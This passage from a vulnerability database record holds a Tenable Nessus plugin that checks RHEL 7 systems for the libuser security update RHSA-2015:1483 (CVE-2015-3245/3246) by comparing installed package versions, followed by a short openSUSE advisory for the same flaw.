\"CVE-2015-3246\");\n script_xref(name:\"RHSA\", value:\"2015:1483\");\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"RHEL 7 : libuser (RHSA-2015:1483)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated libuser packages that fix two security issues are now\navailable for Red Hat Enterprise Linux 7.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nThe libuser library implements a standardized interface for\nmanipulating and administering user and group accounts. Sample\napplications that are modeled after applications from the shadow\npassword suite (shadow-utils) are included in these packages.\n\nTwo flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2015:1483\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2015-3245\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2015-3246\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libuser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libuser-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libuser-python\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.1\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.4\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.5\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.6\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7.7\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2015/08/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/07/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/07/24\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 7.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2015:1483\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL7\", reference:\"libuser-0.60-7.el7_1\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", reference:\"libuser-debuginfo-0.60-7.el7_1\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", reference:\"libuser-devel-0.60-7.el7_1\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"libuser-python-0.60-7.el7_1\")) flag++;\n\n if (rpm_check(release:\"RHEL7\", cpu:\"x86_64\", reference:\"libuser-python-0.60-7.el7_1\")) flag++;\n\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libuser / libuser-debuginfo / libuser-devel / libuser-python\");\n }\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "suse": [{"lastseen": "2016-09-04T11:28:46", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3246"], "description": "libuser was updated to fix on security issue.\n\n The following vulnerability was fixed:\n\n * CVE-2015-3246: local root exploit through passwd file handling\n (boo#937533)\n\n", "edition": 1, "modified": "2015-08-03T10:08:33", "published": "2015-08-03T10:08:33", "id": "OPENSUSE-SU-2015:1332-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00000.html", "type": "suse", "title": "Security update for libuser (important)", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}